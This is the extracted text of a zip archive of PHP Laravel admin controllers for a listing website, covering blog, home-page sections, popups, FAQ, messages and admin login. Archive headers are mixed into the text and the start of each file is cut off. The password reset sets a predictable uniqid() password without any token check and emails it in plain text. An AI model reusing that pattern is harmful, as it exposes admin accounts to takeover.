== true) { Session::flash('warning', 'First delete all the blog of these categories!'); } else { Session::flash('success', 'Blog categories deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\U1Http/Controllers/Admin/Journal/BlogController.phpnu[language)->firstOrFail(); $information['blogs'] = Blog::query()->join('blog_informations', 'blogs.id', '=', 'blog_informations.blog_id') ->join('blog_categories', 'blog_categories.id', '=', 'blog_informations.blog_category_id') ->where('blog_informations.language_id', '=', $language->id) ->select('blogs.id', 'blogs.serial_number', 'blogs.created_at', 'blog_informations.title', 'blog_categories.name AS categoryName') ->orderByDesc('blogs.id') ->get(); $information['langs'] = Language::all(); return view('admin.journal.blog.index', $information); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // get all the languages from db $languages = Language::all(); // get all the categories of each language from db $languages->map(function ($language) { $language['categories'] = $language->blogCategory()->where('status', 1)->orderByDesc('id')->get(); }); $information['languages'] = $languages; return view('admin.journal.blog.create', $information); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(StoreRequest $request) { // store image in storage $imgName = UploadFile::store(public_path('assets/img/blogs/'), $request->file('image')); // store data in db $blog = Blog::create($request->except('image') + [ 'image' => $imgName ]); $languages = Language::all(); foreach ($languages as $language) { $blogInformation = new BlogInformation(); $blogInformation->language_id = $language->id; $blogInformation->blog_category_id = $request[$language->code . '_category_id']; $blogInformation->blog_id = $blog->id; $blogInformation->title = $request[$language->code . '_title']; $blogInformation->slug = createSlug($request[$language->code . '_title']); $blogInformation->author = $request[$language->code . '_author']; $blogInformation->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $blogInformation->meta_keywords = $request[$language->code . '_meta_keywords']; $blogInformation->meta_description = $request[$language->code . '_meta_description']; $blogInformation->save(); } Session::flash('success', 'New blog added successfully!'); return Response::json(['status' => 'success'], 200); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $blog = Blog::findOrFail($id); $information['blog'] = $blog; // get all the languages from db $languages = Language::all(); $languages->map(function ($language) use ($blog) { // get blog information of each language from db $language['blogData'] = $language->blogInformation()->where('blog_id', $blog->id)->first(); // get all the categories of each language from db $language['categories'] = $language->blogCategory()->where('status', 1)->orderByDesc('id')->get(); }); $information['languages'] = $languages; return view('admin.journal.blog.edit', $information); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateRequest $request, $id) { $blog = Blog::find($id); // store new image in storage if ($request->hasFile('image')) { $imgName = UploadFile::update(public_path('assets/img/blogs/'), $request->file('image'), $blog->image); } // update data in db $blog->update($request->except('image') + [ 'image' => $request->hasFile('image') ? $imgName : $blog->image ]); $languages = Language::all(); foreach ($languages as $language) { $blogInformation = BlogInformation::where('blog_id', $id)->where('language_id', $language->id)->first(); $blogInformation->update([ 'blog_category_id' => $request[$language->code . '_category_id'], 'title' => $request[$language->code . '_title'], 'slug' => createSlug($request[$language->code . '_title']), 'author' => $request[$language->code . '_author'], 'content' => Purifier::clean($request[$language->code . '_content'], 'youtube'), 'meta_keywords' => $request[$language->code . '_meta_keywords'], 'meta_description' => $request[$language->code . '_meta_description'] ]); } Session::flash('success', 'Blog updated successfully!'); return Response::json(['status' => 'success'], 200); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $blog = Blog::find($id); // delete the image @unlink(public_path('assets/img/blogs/') . $blog->image); $blogInformations = $blog->information()->get(); foreach ($blogInformations as $blogInformation) { $blogInformation->delete(); } $blog->delete(); return redirect()->back()->with('success', 'Blog deleted successfully!'); } /** * Remove the selected or all resources from storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $blog = Blog::find($id); // delete the image @unlink(public_path('assets/img/blogs/') . $blog->image); $blogInformations = $blog->information()->get(); foreach ($blogInformations as $blogInformation) { $blogInformation->delete(); } $blog->delete(); } Session::flash('success', 'Blogs deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\@d=Http/Controllers/Admin/HomePage/FeaturedListingController.phpnu[select('category_section_background')->first(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = ListingSection::where('language_id', $language->id)->first(); $information['langs'] = Language::all(); return view('admin.home-page.listing-section', $information); } public function update(Request $request) { $rules = [ 'title' => 'required', 'button_text' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $language = Language::query()->where('code', '=', $request->language)->first(); ListingSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'subtitle' => $request->subtitle, 'title' => $request->title, 'text' => clean($request->text), 'button_text' => $request->button_text ] ); Session::flash('success', 'Listing section updated successfully!'); return redirect()->back(); } } PK(\dBHttp/Controllers/Admin/HomePage/LatestListingSectionController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = $language->featureSection()->first(); $information['langs'] = Language::all(); return view('admin.home-page.latest-listing-section', $information); } public function updateSectionInfo(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); $featured_section = FeatureSection::where('language_id', $language->id)->first(); $in = $request->all(); $in['language_id'] = $language->id; if ($featured_section) { $featured_section->update($in); } else { FeatureSection::create($in); } Session::flash('success', 'Feature section updated successfully!'); return redirect()->back(); } } PK(\͏9Http/Controllers/Admin/HomePage/WorkProcessController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = $language->workProcessSection()->first(); $information['processes'] = $language->workProcess()->orderByDesc('id')->get(); $information['langs'] = Language::all(); return view('admin.home-page.work-process-section.index', $information); } public function updateSectionInfo(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); WorkProcessSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'button_text' => $request->button_text, 'title' => $request->title, ] ); Session::flash('success', 'Work process section updated successfully!'); return redirect()->back(); } public function storeWorkProcess(Request $request) { $themeVersion = Basic::query()->pluck('theme_version')->first(); $rules = [ 'language_id' => 'required', 'icon' => 'required', 'title' => 'required', 'serial_number' => 'required|numeric' ]; if ($themeVersion == 4) { $rules = [ 'language_id' => 'required', 'icon' => 'required', 'title' => 'required', 'text' => 'required', 'serial_number' => 'required|numeric' ]; } $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } WorkProcess::query()->create($request->except('language')); Session::flash('success', 'New work process added successfully!'); return Response::json(['status' => 'success'], 200); } public function updateWorkProcess(Request $request) { $themeVersion = Basic::query()->pluck('theme_version')->first(); $rules = [ 'title' => 'required', 'serial_number' => 'required|numeric' ]; if ($themeVersion == 4) { $rules = [ 'title' => 'required', 'serial_number' => 'required|numeric', 'text' => 'required', ]; } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $workProcess = WorkProcess::query()->find($request->id); $workProcess->update($request->except('language')); Session::flash('success', 'Work process updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroyWorkProcess($id) { $workProcess = WorkProcess::query()->find($id); $workProcess->delete(); return redirect()->back()->with('success', 'Work process deleted successfully!'); } public function bulkDestroyWorkProcess(Request $request) { $ids = $request['ids']; foreach ($ids as $id) { $workProcess = WorkProcess::query()->find($id); $workProcess->delete(); } Session::flash('success', 'Work processes deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\yf0 9Http/Controllers/Admin/HomePage/HeroSectionController.phpnu[select('hero_section_background_img')->first(); $language = Language::query()->where( 'code', '=', $request->language )->firstOrFail(); $information['language'] = $language; $information['langs'] = Language::all(); $information['data'] = $language->heroSection()->first(); return view('admin.home-page.hero-section.index', $information); } public function store(Request $request) { $data = DB::table('basic_settings')->select('hero_section_background_img')->first(); $rules = []; if (empty($data->hero_section_background_img)) { $rules['hero_section_background_img'] = 'required'; } if ($request->hasFile('hero_section_background_img')) { $rules['hero_section_background_img'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('hero_section_background_img')) { $newImage = $request->file('hero_section_background_img'); $oldImage = $data->hero_section_background_img; $imgName = UploadFile::update(public_path('assets/img/hero-section/'), $newImage, $oldImage); // finally, store the image into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['hero_section_background_img' => $imgName], ); $request->session()->flash('success', 'Image updated successfully!'); } return redirect()->back(); } public function update(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); HeroSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'title' => $request->title, 'text' => $request->text, ] ); $request->session()->flash('success', 'Hero section updated successfully!'); return redirect()->back(); } } PK(\L?5Http/Controllers/Admin/HomePage/CounterController.phpnu[select('counter_section_image')->first(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['counters'] = $language->counterInfo()->orderByDesc('id')->get(); $information['counterInfo'] = CounterSection::where('language_id', $language->id)->first(); $information['langs'] = Language::all(); return view('admin.home-page.counter-section.index', $information); } public function updateImage(Request $request) { $data = DB::table('basic_settings')->select('counter_section_image')->first(); $rules = []; if (empty($data->counter_section_image)) { $rules['counter_section_image'] = 'required'; } if ($request->hasFile('counter_section_image')) { $rules['counter_section_image'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('counter_section_image')) { $newImage = $request->file('counter_section_image'); $oldImage = $data->counter_section_image; $imgName = UploadFile::update(public_path('assets/img/'), $newImage, $oldImage); // finally, store the image into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['counter_section_image' => $imgName] ); Session::flash('success', 'Image updated successfully!'); } return redirect()->back(); } public function updateInfo(Request $request) { $request->validate([ 'lang_code' => 'required', 'title' => 'required', ]); $language = Language::query()->where('code', '=', $request->lang_code)->first(); $info = CounterSection::where('language_id', $language->id)->first(); if (empty($info)) { $info = new CounterSection(); $info->language_id = $language->id; } $info->title = $request->title; $info->subtitle = $request->subtitle; $info->save(); Session::flash('success', 'Image updated successfully!'); return back(); } public function storeCounter(Request $request) { $rules = [ 'language_id' => 'required', 'icon' => 'required', 'amount' => 'required|numeric', 'title' => 'required' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } CounterInformation::query()->create($request->except('language')); Session::flash('success', 'Information stored successfully!'); return Response::json(['status' => 'success'], 200); } public function updateCounter(Request $request) { $rules = [ 'amount' => 'required|numeric', 'title' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $counterInfo = CounterInformation::query()->find($request->id); $counterInfo->update($request->except('language')); Session::flash('success', 'Information updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroyCounter($id) { $counterInfo = CounterInformation::query()->find($id); $counterInfo->delete(); return redirect()->back()->with('success', 'Information deleted successfully!'); } public function bulkDestroyCounter(Request $request) { $ids = $request['ids']; foreach ($ids as $id) { $counterInfo = CounterInformation::query()->find($id); $counterInfo->delete(); } Session::flash('success', 'Selected Informations deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\X =Http/Controllers/Admin/HomePage/CategorySectionController.phpnu[select('category_section_background')->first(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = CategorySection::where('language_id', $language->id)->first(); $information['langs'] = Language::all(); return view('admin.home-page.category-section', $information); } public function updateImage(Request $request) { $data = DB::table('basic_settings')->select('category_section_background')->first(); $rules = []; if (empty($data->category_section_background)) { $rules['category_section_background'] = 'required'; } if ($request->hasFile('category_section_background')) { $rules['category_section_background'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('category_section_background')) { $newImage = $request->file('category_section_background'); $oldImage = $data->category_section_background; $imgName = UploadFile::update(public_path('assets/img/'), $newImage, $oldImage); // finally, store the image into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['category_section_background' => $imgName] ); Session::flash('success', 'Image updated successfully!'); } return redirect()->back(); } public function update(Request $request) { $rules = [ 'title' => 'required', 'button_text' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $language = Language::query()->where('code', '=', $request->language)->first(); CategorySection::query()->updateOrCreate( ['language_id' => $language->id], [ 'title' => $request->title, 'subtitle' => $request->subtitle, 'button_text' => $request->button_text ] ); Session::flash('success', 'About section updated successfully!'); return redirect()->back(); } } PK(\oo9Http/Controllers/Admin/HomePage/TestimonialController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = $language->testimonialSection()->first(); $information['themeInfo'] = DB::table('basic_settings')->select('theme_version', 'testimonial_section_image')->first(); $information['testimonials'] = $language->testimonial()->orderByDesc('id')->get(); $information['langs'] = Language::all(); return view('admin.home-page.testimonial-section.index', $information); } public function updateSectionBackground(Request $request) { $request->validate([ 'testimonial_section_image' => 'required' ]); if ($request->hasFile('testimonial_section_image')) { $imgName = UploadFile::store(public_path('assets/img/'), $request->file('testimonial_section_image')); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['testimonial_section_image' => $imgName] ); Session::flash('success', 'Testimonial section Background Image updated successfully!'); return redirect()->back(); } public function updateSectionInfo(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); $testimonialSection = TestimonialSection::where('language_id', $language->id)->first(); if ($testimonialSection) { $testimonialSection->update( [ 'subtitle' => $request->subtitle, 'title' => $request->title, 'clients' => $request->clients, ] ); } else { TestimonialSection::create( [ 'language_id' => $language->id, 'subtitle' => $request->subtitle, 'title' => $request->title, 'clients' => $request->clients, ] ); } Session::flash('success', 'Testimonial section updated successfully!'); return redirect()->back(); } public function storeTestimonial(StoreRequest $request) { // store image in storage $imgName = UploadFile::store(public_path('assets/img/clients/'), $request->file('image')); Testimonial::query()->create($request->except('language', 'image') + [ 'image' => $request->hasFile('image') ? $imgName : NULL ]); Session::flash('success', 'New testimonial added successfully!'); return response()->json(['status' => 'success'], 200); } public function updateTestimonial(UpdateRequest $request) { $testimonial = Testimonial::query()->find($request->id); if ($request->hasFile('image')) { $newImage = $request->file('image'); $oldImage = $testimonial->image; $imgName = UploadFile::update(public_path('assets/img/clients/'), $newImage, $oldImage); } $testimonial->update($request->except('language', 'image') + [ 'image' => $request->hasFile('image') ? $imgName : $testimonial->image ]); Session::flash('success', 'Testimonial updated successfully!'); return response()->json(['status' => 'success'], 200); } public function destroyTestimonial($id) { $testimonial = Testimonial::query()->find($id); @unlink(public_path('assets/img/clients/') . $testimonial->image); $testimonial->delete(); return redirect()->back()->with('success', 'Testimonial deleted successfully!'); } public function bulkDestroyTestimonial(Request $request) { $ids = $request['ids']; foreach ($ids as $id) { $testimonial = Testimonial::query()->find($id); @unlink(public_path('assets/img/clients/') . $testimonial->image); $testimonial->delete(); } Session::flash('success', 'Testimonials deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\Zƃ:Http/Controllers/Admin/HomePage/CallToActionController.phpnu[select('call_to_action_section_image', 'call_to_action_section_highlight_image')->first(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['langs'] = Language::all(); $information['data'] = $language->callToActionSection()->first(); return view('admin.home-page.call-to-action-section', $information); } public function updateImage(Request $request) { $data = DB::table('basic_settings')->select('call_to_action_section_image', 'call_to_action_section_highlight_image')->first(); $rules = []; if (empty($data->call_to_action_section_image)) { $rules['call_to_action_section_image'] = 'required'; } if ($request->hasFile('call_to_action_section_image')) { $rules['call_to_action_section_image'] = new ImageMimeTypeRule(); } if ($request->hasFile('call_to_action_section_highlight_image')) { $rules['call_to_action_section_highlight_image'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('call_to_action_section_image')) { $newImage = $request->file('call_to_action_section_image'); $oldImage = $data->call_to_action_section_image; $imgName = UploadFile::update(public_path('./assets/img/'), $newImage, $oldImage); // finally, store the image into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['call_to_action_section_image' => $imgName] ); } if ($request->hasFile('call_to_action_section_highlight_image')) { $newImage = $request->file('call_to_action_section_highlight_image'); $oldImage = $data->call_to_action_section_highlight_image; $imgName = UploadFile::update(public_path('./assets/img/'), $newImage, $oldImage); // finally, store the image into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['call_to_action_section_highlight_image' => $imgName] ); } Session::flash('success', 'Image updated successfully!'); return redirect()->back(); } public function update(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); if ($request->filled('video_url')) { $video_url = $request->video_url; if (strpos($video_url, '&') != 0) { $video_url = substr($video_url, 0, strpos($video_url, '&')); } } else { $video_url = null; } CallToActionSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'subtitle' => $request->subtitle, 'title' => $request->title, 'video_url' => $video_url, 'button_name' => $request->button_name, 'button_url' => $request->button_url ] ); Session::flash('success', 'Call to action section updated successfully!'); return redirect()->back(); } } PK(\wQ0 :Http/Controllers/Admin/HomePage/VideoSectionController.phpnu[select('video_section_image')->first(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['langs'] = Language::all(); $information['data'] = $language->videoSection()->first(); return view('admin.home-page.video-section', $information); } public function updateImage(Request $request) { $data = DB::table('basic_settings')->select('video_section_image')->first(); $rules = []; if (empty($data->video_section_image)) { $rules['video_section_image'] = 'required'; } if ($request->hasFile('video_section_image')) { $rules['video_section_image'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('video_section_image')) { $newImage = $request->file('video_section_image'); $oldImage = $data->video_section_image; $imgName = UploadFile::update(public_path('./assets/img/'), $newImage, $oldImage); // finally, store the image into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['video_section_image' => $imgName] ); } Session::flash('success', 'Image updated successfully!'); return redirect()->back(); } public function update(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); if ($request->filled('video_url')) { $video_url = $request->video_url; if (strpos($video_url, '&') != 0) { $video_url = substr($video_url, 0, strpos($video_url, '&')); } } else { $video_url = null; } VideoSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'subtitle' => $request->subtitle, 'title' => $request->title, 'video_url' => $video_url, 'button_name' => $request->button_name, 'button_url' => $request->button_url ] ); Session::flash('success', 'Video section updated successfully!'); return redirect()->back(); } } PK(\L?2Http/Controllers/Admin/HomePage/BlogController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = $language->blogSection()->first(); $information['langs'] = Language::all(); return view('admin.home-page.blog-section', $information); } public function update(Request $request) { $rules = [ 'title' => 'required', 'button_text' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $language = Language::query()->where('code', '=', $request->language)->first(); BlogSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'button_text' => $request->button_text, 'title' => $request->title ] ); Session::flash('success', 'Blog section updated successfully!'); return redirect()->back(); } } PK(\{WW=Http/Controllers/Admin/HomePage/LocationSectionController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = $language->locationSection()->first(); $information['langs'] = Language::all(); return view('admin.home-page.location-section', $information); } public function update(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); LocationSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'title' => $request->title ] ); Session::flash('success', 'Location section updated successfully!'); return redirect()->back(); } } PK(\r>t--5Http/Controllers/Admin/HomePage/SectionController.phpnu[first(); $themeVersion = Basic::query()->pluck('theme_version')->first(); return view('admin.home-page.section-customization', compact('sectionInfo', 'themeVersion')); } public function update(Request $request) { $sectionInfo = Section::query()->first(); $sectionInfo->update($request->all()); Session::flash('success', 'Section status updated successfully!'); return redirect()->back(); } } PK(\t=Http/Controllers/Admin/HomePage/PacakageSectionController.phpnu[select('category_section_background')->first(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['data'] = PackageSection::where('language_id', $language->id)->first(); $information['langs'] = Language::all(); return view('admin.home-page.package-section', $information); } public function update(Request $request) { $language = Language::query()->where('code', '=', $request->language)->first(); PackageSection::query()->updateOrCreate( ['language_id' => $language->id], [ 'title' => $request->title ] ); Session::flash('success', 'Package section updated successfully!'); return redirect()->back(); } } PK(\q {*Http/Controllers/Admin/PopupController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['popups'] = $language->announcementPopup()->orderByDesc('id')->get(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.popup.index', $information); } /** * Show the popup type page to select one of them. * * @return \Illuminate\Http\Response */ public function popupType() { return view('admin.popup.popup-type'); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($type) { $information['popupType'] = $type; // get all the languages from db $information['languages'] = Language::all(); return view('admin.popup.create', $information); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(StoreRequest $request) { $imageName = UploadFile::store(public_path('assets/img/popups/'), $request->file('image')); Popup::query()->create($request->except('image', 'end_date', 'end_time') + [ 'image' => $imageName, 'end_date' => $request->has('end_date') ? Carbon::parse($request['end_date']) : null, 'end_time' => $request->has('end_time') ? date('h:i', strtotime($request['end_time'])) : null ]); Session::flash('success', 'New popup added successfully!'); return response()->json(['status' => 'success'], 200); } /** * Update the status of specified resource. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function updateStatus(Request $request, $id) { $popup = Popup::query()->find($id); if ($request->status == 1) { $popup->update(['status' => 1]); Session::flash('success', 'Popup activated successfully!'); } else { $popup->update(['status' => 0]); Session::flash('success', 'Popup deactivated successfully!'); } return redirect()->back(); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $popup = Popup::query()->findOrFail($id); return view('admin.popup.edit', compact('popup')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateRequest $request, $id) { $popup = Popup::query()->find($id); if ($request->hasFile('image')) { $imageName = UploadFile::update(public_path('assets/img/popups/'), $request->file('image'), $popup->image); } $popup->update($request->except('image', 'end_date', 'end_time') + [ 'image' => $request->hasFile('image') ? $imageName : $popup->image, 'end_date' => $request->has('end_date') ? Carbon::parse($request['end_date']) : null, 'end_time' => $request->has('end_time') ? date('h:i', strtotime($request['end_time'])) : null ]); Session::flash('success', 'Popup updated successfully!'); return response()->json(['status' => 'success'], 200); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $popup = Popup::query()->find($id); @unlink(public_path('assets/img/popups/') . $popup->image); $popup->delete(); return redirect()->back()->with('success', 'Popup deleted successfully!'); } /** * Remove the selected or all resources from storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $popup = Popup::query()->find($id); @unlink(public_path('assets/img/popups/') . $popup->image); $popup->delete(); } Session::flash('success', 'Popups deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\,m> > ,Http/Controllers/Admin/MessageController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['messages'] = ListingMessage::orderBy('id', 'desc') ->paginate(10); return view('admin.message.listing', $information); } public function productIndex(Request $request) { $information['langs'] = Language::all(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $information['messages'] = ProductMessage::orderBy('id', 'desc') ->paginate(10); return view('admin.message.product', $information); } public function delete(Request $request) { $message = ListingMessage::findOrFail($request->message_id); $message->delete(); Session::flash('success', 'Message deleted successfully!'); return redirect()->back(); } public function productDelete(Request $request) { $message = ProductMessage::findOrFail($request->message_id); $message->delete(); Session::flash('success', 'Message deleted successfully!'); return redirect()->back(); } public function bulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $message = ListingMessage::findOrFail($id); $message->delete(); } Session::flash('success', 'Message deleted successfully!'); return response()->json(['status' => 'success'], 200); } public function productBulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $message = ProductMessage::findOrFail($id); $message->delete(); } Session::flash('success', 'Message deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\O{0Http/Controllers/Admin/MenuBuilderController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // set the selected language as locale App::setLocale($language->code); // then, get the menus $websiteMenuInfo = $language->menuInfo()->first(); if (is_null($websiteMenuInfo)) { $information['menuData'] = ''; } else { $information['menuData'] = $websiteMenuInfo->menus; } // now, get the custom pages of that language from db $information['customPages'] = DB::table('pages') ->join('page_contents', 'pages.id', '=', 'page_contents.page_id') ->where('page_contents.language_id', '=', $language->id) ->orderByDesc('pages.id') ->get(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.menu-builder', $information); } public function update(Request $request) { MenuBuilder::query()->updateOrCreate( ['language_id' => $request['languageId']], [ 'language_id' => $request['languageId'], 'menus' => $request['str'] ] ); return response()->json(['message' => 'Website menus updated successfully.'], 200); } } PK(\Ŏ] (Http/Controllers/Admin/FaqController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the faqs of that language from db $information['faqs'] = $language->faq()->orderByDesc('id')->get(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.faq.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'question' => 'required', 'answer' => 'required', 'serial_number' => 'required' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } FAQ::query()->create($request->all()); Session::flash('success', 'New faq added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'question' => 'required', 'answer' => 'required', 'serial_number' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $faq = FAQ::query()->find($request->id); $faq->update($request->all()); Session::flash('success', 'FAQ updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $faq = FAQ::query()->find($id); $faq->delete(); return redirect()->back()->with('success', 'FAQ deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $faq = FAQ::query()->find($id); $faq->delete(); } Session::flash('success', 'FAQs deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\&0&0*Http/Controllers/Admin/AdminController.phpnu[ 'required', 'password' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } // get the username and password which has provided by the admin $credentials = $request->only('username', 'password'); if (Auth::guard('admin')->attempt($credentials)) { $authAdmin = Auth::guard('admin')->user(); // check whether the admin's account is active or not if ($authAdmin->status == 0) { Session::flash('alert', 'Sorry, your account has been deactivated!'); // logout auth admin as condition not satisfied Auth::guard('admin')->logout(); return redirect()->back(); } else { return redirect()->route('admin.dashboard'); } } else { return redirect()->back()->with('alert', 'Oops, username or password does not match!'); } } public function forgetPassword() { return view('admin.forget-password'); } public function forgetPasswordMail(Request $request) { // validation start $rules = [ 'email' => [ 'required', 'email:rfc,dns', new MatchEmailRule('admin') ] ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors())->withInput(); } // validation end // create a new password and store it in db $newPassword = uniqid(); $admin = Admin::query()->where('email', '=', $request->email)->first(); $admin->update([ 'password' => Hash::make($newPassword) ]); // prepare a mail to send newly created password to admin $mailData['subject'] = 'Reset Password'; $mailData['body'] = 'Hi ' . $admin->first_name . ',

Your password has been reset. Your new password is: ' . $newPassword . '
Now, you can login with your new password. You can change your password later.

Thank you.'; $mailData['recipient'] = $admin->email; $mailData['sessionMessage'] = 'A mail has been sent to your email address.'; BasicMailer::sendMail($mailData); return redirect()->back(); } public function redirectToDashboard() { $information['authAdmin'] = Auth::guard('admin')->user(); $information['totalProduct'] = Product::query()->count(); $information['totalOrder'] = ProductOrder::query()->count(); $information['totalBlog'] = Blog::query()->count(); $information['totalUser'] = User::query()->count(); $information['totalSubscriber'] = Subscriber::query()->count(); $information['payment_log'] = Membership::where('vendor_id', '!=', 0)->count(); $information['vendors'] = Vendor::where('id', '!=', 0)->get()->count(); $information['totalListings'] = Listing::get()->count(); //income of event bookings $totalPurchases = DB::table('memberships') ->select(DB::raw('month(created_at) as month'), DB::raw('sum(price) as total')) ->where('status', '=', 1) ->groupBy('month') ->whereYear('created_at', '=', date('Y')) ->get(); $totalUsers = DB::table('users') ->select(DB::raw('month(created_at) as month'), DB::raw('count(id) as total')) ->where('status', '=', 1) ->groupBy('month') ->whereYear('created_at', '=', date('Y')) ->get(); $months = []; $packagePurchaseIncomes = []; $totalUsersArr = []; //event icome calculation for ($i = 1; $i <= 12; $i++) { // get all 12 months name $monthNum = $i; $dateObj = DateTime::createFromFormat('!m', $monthNum); $monthName = $dateObj->format('M'); array_push($months, $monthName); // get all 12 months's income 